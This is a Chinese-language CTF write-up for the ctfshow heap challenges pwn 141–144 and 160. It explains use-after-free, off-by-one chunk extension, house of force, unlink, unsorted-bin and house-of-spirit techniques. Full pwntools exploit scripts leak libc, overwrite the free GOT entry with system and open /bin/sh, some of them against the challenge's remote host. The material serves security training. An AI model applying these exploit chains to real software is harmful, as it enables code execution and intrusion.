pwn 141(简单UAF)
经典菜单:
add_note:
del note:free完不悬空,有UAF
print_note:
这里我看反汇编代码看了好久也没有彻底搞懂,从网上找到源码才彻底搞懂:
Use After Free漏洞及其利用 – FreeBuf网络安全行业门户
先看addnote
对比源码,颜色相同的就是同一代码
¬elist+i就相当于notelist[i],而*(¬elist+i)可以这么理解:(¬elist+i)是一个地址,*(¬elist+i)=malloc(n),*是取这个地址存的值,由于malloc返回的是分配内存的首地址,也就是(¬elist+i)的值存的就是分配内存的首地址,如果没有*号,就会导致(¬elist+i)这个地址变成了malloc分配的chunk的首地址。比如(¬elist+i)是0x8000,一开始存的是1,*(¬elist+i)=3,就会导致存的1变成3,而(¬elist+i)=3则是(¬elist+i)本身变成了0x3。可以把(¬elist+i)当成一个指针p来理解
notelist[i]是个指针(地址),指向一个note结构体,一个note结构体又有两个指针成员,指针一指向了一个print_note函数,指针二指向的地址则开辟为字符串。
而黄色框框的两个*号,也用同样方法理解。把一个地址当成chunk的一个成员。蓝色框也是一样道理。
所以示意图如下,当在进行add_note操作时,实际上申请了两次malloc:
同时,发现题目有后门函数:
当我们申请一个chunk时,能够改写的只有指针p2也就是content成员,那如何用UAF做到能修改指针p1呢?
如果先申请一个chunk1然后free掉,再申请一个chunk2,把content申请的大小改成chunk1大小,能不能申请到chunk1的地址呢?答案是不行,因为申请chunk2本体时候就会把chunk1给它,再申请chunk2的content字段时候就会另给了
那就很容易想到,我申请两个呢?
先申请chunk1,再申请chunk2,依次free掉,此时fastbin里面就有chunk1和chunk2,然后我再申请chunk3,(由于fastbin先进后出),chunk3的本体就会拿到chunk2的内存,然后申请chunk3的content字段跟chunk结构体大小一样(8bytes)的话,就会把chunk1的内存分配给它!
所以此时修改chunk3的content就是修改chunk1,改前四字节为后门函数的地址,调用print_note,就会调用后门函数,成功拿到flag
exp:
add(16, “aaaa”)
add(16, “aaaa”)
delete(0)
delete(1)
add(8, p32(use))
show(0)
io.intera
注意,chunk1和chunk2的content大小按理来说是可以随便填的,只要不是chunk本身大小就行了,但是实际上也会有一定范围限制(>12),而且chunk3的content也不一定必须等于8,>=4都可以,具体原因未知
pwn 142(heap extend+libc)
1是创建堆
2是编辑堆
3是打印堆
4是删除堆
先看1:
结合之前的知识,可以大概推算出这样一个结构体数组,heaparray[n]是个指针数组,每个指针指向一个结构体heap。每个heap有16B,其中一个8B是指针,指向一个字符串,也就是堆的content,剩下的8B是个整型变量,代表content的大小
转换C代码:
heap{
size_t size
char *content
}
再看看edit:
改变content的内容,但是发现它这里可以多写一个字节,存在off by one溢出
show函数:
打印size和content内容
delete函数:
先后free掉content指针和结构体本身,然后把结构体指针置空,但是content指针并没有置空,存在UAF
同时,没有后门函数。
由于off by one,考虑heap extend
heap extend需要覆盖下一个chunk的size字段,也就意味着需要触发prev size复用,不然溢出就只能溢出到prev size去
触发prev size复用的条件(非常重要):
只有对16取余后,多出来的字节小于等于8B,才会放入下一个chunk的prevsize!
所以第一个chunk的size需要设置为0x18(0x28,0x38这些其实都可以),第二个chunk设置为0x10
尤其需要注意的是,在create操作时候,实际上每次都申请了两个chunk,一个是结构体,一个是content内容指针,设置的size大小实际上是content指针的,由于申请的chunk是紧挨着的,所以堆内存如下所示:
(由于版本原因,我在创建chunk时候一开始会自动创建一个0x290的chunk)
不影响,创建两个chunk后x/20gx + 地址
查看一下
重复测试会发现,有时候content大小分配的不是0x10,最后也会得到一个0x20的chunk,这是由于堆分配的对齐机制
给chunk1的content的size大小是24,chunk2的content的size大小是16,之所以这么分配,是因为26对16取余刚好是8,就会把下一个chunk的prevsize占用:
edit chunk1,输入25个f(即66),可以看到chunk2结构体的size已经被覆盖
这样就能通过修改size大小实现chunk extend,把chunk2结构体和chunk2content合并。
由于没有system函数,所以需要通过libc方式泄露,找到函数原有的plt函数,这里用free函数。首先先清楚我们需要在什么地方才能泄露:必须把content指针(地址)改成free_got地址才能泄露,有可能会疑惑,为什么不能把free_got写入content申请的内容里面打印出来?因为这样打印实际上打印出来的是free_got的地址,而free_got存的值才是free的真实地址!所以得把free_got覆盖content指针,这样打印出来的内容才是free的真实地址!
但是题目中,在申请chunk时候就会默认给content指针malloc一个新地址,怎么办?这时候chunk extend就大显神通了。如果我们把chunk2的结构体和它的content合并了,然后申请一个新的chunk3,首先我们得到chunk3的结构体,然后把它的content申请的指针的内存大小(size)申请成等于合并后chunk2大小的值,就会把合并的chunk2分配给我们,这个时候修改chunk3的content内容,就能修改到chunk2的content指针,注意到delete里面chunk2的content指针并没有置空!这就是伏笔了,然后我们再打印chunk2,就能把free的地址打印出来
关于修改chunk2结构体的size为什么是0x41,一个chunk2结构体会自动malloc(0x10),其中包含两个8B的成员,加上size和prevsize还有标志位的1B,一共就是0x21,然后它的content申请的是0x10,其实也是0x21,那为什么不改成0x42而是0x41?,这里我觉得有两原因,一个是不需要完全囊括content,因为这么做的目的完全是为了让chunk3的content能拿到含有chunk2结构体的内存,如果不改变chunk2结构体的大小,申请chunk3时候chunk3结构体就会先一步占用chunk2结构体,这样content就拿不到chunk2结构体了,而改变chunk2结构体大小后,chunk3的结构体将申请不到chunk2结构体,这样chunk3的content就能拿到chunk2结构体了。
二可能是由于堆的对齐机制吧。
但是仅仅做到用chunk3的content拿到chunk2的结构体还不行,因为要打印出来,而打印函数是打印某个chunk结构体的size和content指针内容。虽然我们修改了chunk2结构体的content指针,但是chunk2结构体已经被free掉而且置空了!此时索引1不是chunk2结构体,而是chunk3结构体。所以我们改chunk2结构体的content指针没用,必须改chunk3结构体的content指针!
那能不能做到呢?
当然可以,这就是需要巧妙构造了。我们给chunk2的content申请的大小是0x10,这就导致content的大小跟结构体的大小一致,然后chunk extend把chunk2结构体和content合并,然后free掉,此时申请一个chunk3,bin里面可供使用的chunk有两个,一个大小0x41,一个大小0x21,(有重叠)而chunk3的结构体由于也是0x21,所以就会拿到chunk2的content部分,它被包含在chunk2结构体的0x41中,而再申请chunk3的content的大小如果申请0x30(0x31 include flag),就会拿到chunk2的结构体。
如图所示:
大红框是chunk2结构体/chunk3 content
小蓝框是chunk2content/chunk3 结构体
而我们能修改的是chunk3 content,可以发现,它可以修改到chunk3 的结构体
payload2=p64(0)+p64(0)+p64(0)(prevsize)+p64(21)(size)+p64(30)(chunk成员size)+p64(free_got)
payload2=p64(0)+p64(0)+p64(0)+p64(21)+p64(30)+p64(free_got)
然后再show(1),就会打印出来chunk3的size成员和content成员的值,content成员以及被我们覆盖成了free_got,就能泄露free_got地址!
动态调试一下:
delete掉chunk2,也就是编号为1(从0开始)的chunk后,回到pwndgb输入bins查看:
释放掉了chunk2结构体跟chunk2的content,但是置空只置空了chunk2结构体。然后申请一个chunk3, 大小是0x30,手输payload有点问题,于是我在脚本输payload后 attach,就会自动弹出来pwngdb,然后再看堆内存:
可以看到,0x602018就是free_got的地址(还不是free的地址,那里存的值才是free的地址),继续跟进,可以可以看到free的真实地址:
接收:
此时拿到了free地址,就可以用基址计算出system的地址,我一开始用libcsearch搞不定,那就只能用本地的库。
本地的库有时候也会报错,多试几次就会有一次成功,原因未知。
我们现在已经得到了system的地址,接下来就是覆写某个会调用的函数地址成system地址:
chunk3的content指针此时是free_got地址,调用edit_note就能对free_got的内容进行修改,改成system真实地址就行
payload3=p64(system)
然后再往chunk1,也就是index为0的note里面写入/bin/sh\x00,接着delete它,就会调用free函数,此时它已经是system函数了,就会执行system(bin/sh),拿到shell
这里首先切记recvuntil一定要越细致越好,尤其是多个冒号这种,不然容易导致混乱。
比较幽默的是,本地打只能用本地库才能打通,打远程只能用libsearcher才能打通(选4),猜测是版本问题.
pwn 143 (house of force)
每当有一次malloc时,如果bins里面没有合适的chunk分配,就会从top chunk中割一块出来,top chunk的地址也会相应移动,那如果malloc了一个负值呢?top chunk就会往低地址移动,如果这个负值是可以随意分配的,也就意味着top chunk的地址能改到任意地方,这时候再申请chunk,就能达到任意地址写的效果
edit能溢出
delete无uaf漏洞
有后门函数
思路就是,先申请一个0x30的chunk,然后edit它,溢出修改top chunk的size位为-1,(这样就能逃过检查申请一个负值的chunk),接着申请一个特定负值的chunk,使得top chunk的地址移动到bye_message这个chunk处,申请一个chunk,修改message chunk的指针指向后门函数,然后5 exit就能调用后门函数:
#申请第一个chunk,这个chunk和top:
add(0x30, b’aaaa’)
#修改top chunk的size位为-1
payload = 0x30 * b’a’
payload += b’a’ * 8 + p64(0xffffffffffffffff)
edit(0, 0x41, payload)
#计算top chunk应该移动的大小,这里不是很理解,按理来说-0x60就够了,但后面还要减去一个值,这个值经过测试,在0x8-0x17之间都可以
offset = -0x60-0x17
add(offset, b’aaaa’)
#再申请一个chunk,拿到message chunk的内存,修改指针即可
add(0x10, p64(flag) * 2)
get_flag()
io.interactive()
pwn 143另一种解法|重要|unlink
unlink介绍:
在free某个大小不属于fast bin的在使用的堆块P时,会触发合并操作,检查前后两个物理相邻堆块P1、P2是不是空闲,如果是空闲,就把P1/P1从原本所在的bin中unlink出来,然后跟P合并,合并后放入unsorted bin中。
unlink操作的关键一步是,FD=P->fd,BK=P->bk,FD->bk=BK,BK->fd=FD
如果把将要unlink的那个堆块(即P)的fd和bk指针修改了, FD指向需要改变值的地址,BK指向想要改成的值,当FD->bk=BK后,就实现了值的篡改。但是注意,FD->bk=FD-12(32位,size+prevsize+fd各四位),所以篡改的地址应该要-12,这样才能实现正确的指向。
但是这样只有在低版本中行得通,高版本中新增了检查,在unlink前,先确定FD->bk=P,BK->fd=P,以防止伪造chunk。这样的话上面的办法明显就通不过检查了。于是有了另一种思路:(32位)
既然要保证FD->bk=P,BK->fd=P,那就直接让FD=P-12,BK=P-8就行了,这样
FD->bk=FD+12=P
BK->fd=BK+8=P
就绕过了检测,执行完unlink后,FD->bk=BK,BK->fd=FD,最后就是P=P-12,P指针指向了比自己低12处.
红字有误,正确的表达应该是,P指针处的值变成P指针-12
指针可以理解成一个地址,比如P指针=0x400400,0x400400处存放的值为0x600600,这个值本来是chunk0所在地址的,但是unlink攻击后0x400400处的值变成了0x400400-12,可以理解成 把 chunk 移到存储 chunk 指针的内存-12处。这样下一次edit这个chunk的时候就能篡改0x400400处的值为自己想要的值,再show出来就能泄露内存地址。而如果再edit一次,由于此时0x400400处的值已经变成了泄露内存地址的值,那就相当于对这个地址直接写了。
add(0x40,’aaaaaaaa’)#0
add(0x80,’bbbbbbbb’)#1
add(0x80,’cccccccc’)#2
add(0x20,’/bin/sh\x00′)
ptr=0x6020a8
fd=ptr-0x18
bk=ptr-0x10
#fakechunk
fakechunk=p64(0)#prevsize
fakechunk+=p64(0x41) #size
fakechunk+=p64(fd)
fakechunk+=p64(bk)
fakechunk+=b’\x00’*0x20
fakechunk+=p64(0x40)#chunk1’s prevsize,0x40 means chunk0 is 0x40 and in free
fakechunk+=p64(0x90)#chunk1’s size
edit(0,len(fakechunk),fakechunk)
#gdb.attach(io)
delete(1) #then chunk0 will unlink
payload=p64(0)*2+p64(0x40)+p64(elf.got[“free”])
edit(0,len(fakechunk),payload)
#gdb.attach(io)
show()
free = u64(io.recvuntil(b”\x7f”)[-6: ].ljust(8, b’\x00′))
log.info(“free addr is:%x”,free)
libc = LibcSearcher(‘free’,free)
libc_base = free – libc.dump(‘free’)
system = libc_base + libc.dump(‘system’)
edit(0,0×8,p64(system))
delete(3)
io.interactive()
pwn 144
这题要修改某个位置已知的全局变量的值才能拿到flag。漏洞只有edit的任意溢出。
首先想到的当然是修改某个free掉的块的fd或者bk指针指向目标地址,然后malloc一或两次就能拿到目标地址的chunk,进而改写。但是之前都是UAF来做,这里拓宽了思路,溢出也能做。
先申请一个32B的chunk0,再申请一个32B的chunk1,free掉chunk1
chunk1进入了tcachebin
然后通过溢出来修改chunk1的fd指针:
magic=0x6020a0
payload=cyclic(0x20)+p64(0)+p64(0x31)+p64(magic)
手输payload会报错,写脚本吧
fd指针已经被修改,但是bins里面还是乱指
按理来说,修改chunk1的fd指针后申请两次就能拿到目标地址,但是不行,可能是这个原因,或许本题的版本压根还没引入tcache bin:
那就试试unsorted bin吧,复习一下堆的分配机制:
官方wp中的有些部分有点多余,进行了修改,最简洁方式如下:
申请一个chunk0 任意大小(后面payload注意跟进就行,注意一下对齐和prevsize复用机制)
一个chunk1 必须大于0x80(实测大于120即可,应该是对齐机制,反正不能放入fast bin即可)
申请一个chunk2, 任意大小,作用是防止chunk1跟top chunk合并
free chunk1,然后edit chunk0,溢出修改chunk1的bk指针,再申请一个合适大小的chunk就能拿到bk指针指向的地址,这个“合适大小”由edit的payload中把chunk1的size修改成的值决定,如果把chunk1修改成0x91,即145,chunk申请的值就得对齐后是0x80,即128.
还可以用unlink打:
from pwn import *
#io = process("/home/monke/ctfshowpwn/pwn")
io= remote("pwn.challenge.ctf.show",28196)
#chunk0
io.sendlineafter("choice :",b'1')
io.sendlineafter("eap : ",b'64')
io.sendlineafter("Content of heap:",b'bbbb')
#chunk1
io.sendlineafter("choice :",b'1')
io.sendlineafter("eap : ",b'128')
io.sendlineafter("Content of heap:",b'cccc')
#chunk2
io.sendlineafter("choice :",b'1')
io.sendlineafter("eap : ",b'128')
io.sendlineafter("Content of heap:",b'dddd')
ptr=0x6020c0
fd=ptr-0x18
bk=ptr-0x10
#fakechunk
fakechunk=p64(0)#prevsize
fakechunk+=p64(0x41) #size
fakechunk+=p64(fd)
fakechunk+=p64(bk)
fakechunk+=b'\x00'*0x20
fakechunk+=p64(0x40)#chunk1's prevsize,0x40 means chunk0 is 0x40 and in free
fakechunk+=p64(0x90)#chunk1's size
#edit fakechunk
io.sendlineafter("choice :",b'2')
io.sendlineafter("Index :",b'0')
io.sendlineafter("eap : ",str(len(fakechunk)))
io.sendlineafter("Content of heap : ",fakechunk)
#gdb.attach(io)
#delete chunk1 and chun0 unlink
io.sendlineafter("choice :",b'3')
io.sendlineafter("Index :",b'1')
magic=0x6020a0
#edit ptr chunk0 ->magic
payload=p64(0)*2+p64(0x40)+p64(magic)
io.sendlineafter("choice :",b'2')
io.sendlineafter("Index :",b'0')
io.sendlineafter("eap : ",str(len(payload)))
io.sendlineafter("Content of heap : ",payload)
#edit magic
io.sendlineafter("choice :",b'2')
io.sendlineafter("Index :",b'0')
io.sendlineafter("eap : ",b'32')
io.sendlineafter("Content of heap : ",b'eeee')
#gdb.attach(io)
io.sendline("114514")
io.interactive()
还可以用house of spirit打:
这里我搞清楚了,我一开始用tcache bin attack打不通应该是因为对应版本还没有tcache bin(所以unsorted bin attack时候不用考虑先把tcache bin塞满也能通),所以要考虑也应该是fast bin attack,而fastbin的伪造chunk是比较苛刻的,有检查,所以打不通。house of spirit就是fastbin attack的一种,搞懂了这个就搞懂了为什么最先的那种方法通不了。
fastbin的检测:
https://zhuanlan.zhihu.com/p/112858036
https://blog.csdn.net/qq_41453285/article/details/97753705
小技巧:
找一个x7f来当size就可以逃过检测
House Of Spirit
创建三个chunk,free chunk2,链⼊fastbin,edit修改chunk1内容,并且覆盖到free chunk2的fd,fd就可
以覆盖为fake chunk.
我们在heaparray附近伪造chunk,为了绕过free fastbins的⼤⼩检查,在附近找到0x7f,可以调试找到合
适的地⽅:0x602090 -3,并把这⾥作fake chunk,size就是0x7f.
创建⼀个chunk,分配到chunk2
再创建⼀个chunk3,分配到fakechunk,
edit修改chunk3,覆盖到heaparray,写⼊free_got
再修改heaparray[0],把free_got改为system_plt的地址
这⾥需要⼀个’/bin/sh\x00’,可以在开始修chunk1的时候写⼊
释放chunk1,”/bin/sh\x00″当作参数传⼊free(),free已改为system,实际执⾏system(“/bin/sh\0x00”),
然后get shell
exp
1 from pwn import *
2 context(arch = 'amd64',os = 'linux',log_level = 'debug')
3 #io = process('./pwn')
4 io = remote('pwn.challenge.ctf.show',28227)
5 elf = ELF('./pwn')
6 libc = ELF('/home/bit/libc/64bit/libc-2.23.so')
7 free_got = elf.got['free']
8 system = elf.plt['system']
9 heaparray_0 = 0x6020c0
10 heaparray_1 = 0x6020c8
11 heaparray_2 = 0x6020d0
12 heaparray_3 = 0x6020d8
13
14 def create_heap(size,content):
15 io.recvuntil("choice :")
16 io.sendline("1")
17 io.recvuntil(":")18 io.sendline(str(size))
19 io.recvuntil(":")
20 io.sendline(content)
21
22 def edit_heap(idx,size,content):
23 io.recvuntil("choice :")
24 io.sendline("2")
25 io.recvuntil(":")
26 io.sendline(str(idx))
27 io.recvuntil(":")
28 io.sendline(str(size))
29 io.recvuntil(":")
30 io.sendline(content)
31
32 def delete_heap(idx):
33 io.recvuntil("choice :")
34 io.sendline("3")
35 io.recvuntil(":")
36 io.sendline(str(idx))
37
38 create_heap(0x68,'aaaa')
39 create_heap(0x68,'bbbb')
40 create_heap(0x68,'cccc')
41 delete_heap(2)
42
43 payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x602090-3)
44 edit_heap(1,len(payload),payload)
45 create_heap(0x68,'aaaa')
46 create_heap(0x68,'dddd')
47 payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got)
48 edit_heap(3,len(payload),payload)
49 payload = p64(system)
50
51 edit_heap(0,len(payload),payload)
52 delete_heap(1)
53
54 io.interactive()
fastbin attack跟unsorted bin attack 经常一起用,unsorted bin可以修改任意地方的值,修改成x7f就能给fastbin attack用了
pwn 160(堆风水)
菜单如图:
add:
每一次add会进行两次malloc,第一次用户自己定义大小,第二次系统规定0x80,然后把系统规定的chunk的地址的值又视为一个地址,并把用户自己定义创建的chunk赋值给它。
由此可以猜出结构体为:
chunk{
*description
char[0x7c]
}
其中description指针指向一块自定义大小的chunk,而且本题是先开辟description的chunk再开辟结构体的chunk!这一点跟之前遇到的题不一样
delete函数:
delete把两个chunk都free了,但是description指针没有置空,有uaf
show:
edit:
这一句是溢出检测:
看起来就非常奇怪,溢出检测通常不是这么搞的,这句话的意思是,因为是先申请的description的chunk,再申请的结构体的chunk,description的地址加上edit的size不能越过结构体chunk的地址。(因为按理来说他们是紧接着的)
那绕过的思路就是,我让他们不挨着不就行了?
本题环境是:
查看libc版本:
2.23,还没有tcache bin,再本地换一下libc:
patchelf –set-interpreter /home/monke/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_i386/ld-2.23.so pwn
patchelf –replace-needed libc.so.6 /home/monke/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc-2.23.so pwn
没有tcache bin的话就不用考虑把它填满的操作了,直接就能到unsorted bin。
所以先add两个user,然后delete user0,实际上执行了两次free,user0的description指针和它的结构体指针会合并然后放入unsorted bin中,此时再add一个user2,申请一个符合合并后大小的description就能拿到这一整块chunk,然后user2的结构体就会跑到下面去,由于下面还有一个user1,所以user2的description和结构体指针就被user1隔离开了:
动态调试:
add(0x80,b’aaaa’,0x80,b’bbbb’)
add(0x80,b’aaaa’,0x80,b’bbbb’)
delete(0)
此时heap如下
然后
add user2:
可以看到,此时user2的description指针和结构体指针的两个chunk已经被隔离了,也就意味着绕过了溢出检测,然后edit user2的description就可以溢出到user1了
然后就是常规操作了,泄露并计算libc基址,算出system地址
,改free的got值为system,调用一个内容是binsh的chunk就能getshell,但是我这新添加一个chunk会报错,干脆就直接用chunk2:
payload=binsh.ljust(0x108,b’\x00′)+p32(110)+p32(0x89)+cyclic(0x80)+p32(0)+p32(0x89)+p32(elf.got[‘free’])
完整exp:
from pwn import *
context.log_level = "info"
io = process("/home/monke/ctfshowpwn/pwn")
#io = remote('pwn.challenge.ctf.show', 28257)
elf = ELF('/home/monke/ctfshowpwn/pwn')
libc = ELF('/home/monke/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc-2.23.so')
def add(size, name,length,text):
io.sendlineafter("Action: ",b'0')
io.sendlineafter("size of description: ",str(size))
io.sendlineafter("name: ",name)
io.sendlineafter("text length: ",str(length))
io.sendlineafter("text: ",text)
def edit(idx, length,text):
io.sendlineafter("Action: ",b'3')
io.sendlineafter("index: ",str(idx))
io.sendlineafter("text length: ",str(length))
io.sendlineafter("text: ",text)
def delete(idx):
io.sendlineafter("Action: ",b'1')
io.sendlineafter("index: ",str(idx))
def show(idx):
io.sendlineafter("Action: ",b'2')
io.sendlineafter("index: ",str(idx))
add(0x80,b'aaaa',0x80,b'bbbb')
add(0x80,b'aaaa',0x80,b'bbbb')
delete(0)
#gdb.attach(io)
print(elf.plt['free'])
add(0x108,b'aaaa',0x80,b'bbbb')
#gdb.attach(io)
binsh=b'/bin/sh'
payload=binsh.ljust(0x108,b'\x00')+p32(110)+p32(0x89)+cyclic(0x80)+p32(0)+p32(0x89)+p32(elf.got['free'])
edit(2,len(payload),payload)
#gdb.attach(io)
show(1)
#gdb.attach(io)
io.recvuntil('description: ')
free_addr = u32(io.recv(4))
print(hex(free_addr))
libc_base = free_addr-libc.sym['free']
print("libc_base",hex(libc_base))
system_addr = libc_base+libc.sym['system']
edit(1,0x8,p32(system_addr))
delete(2)
io.interactive()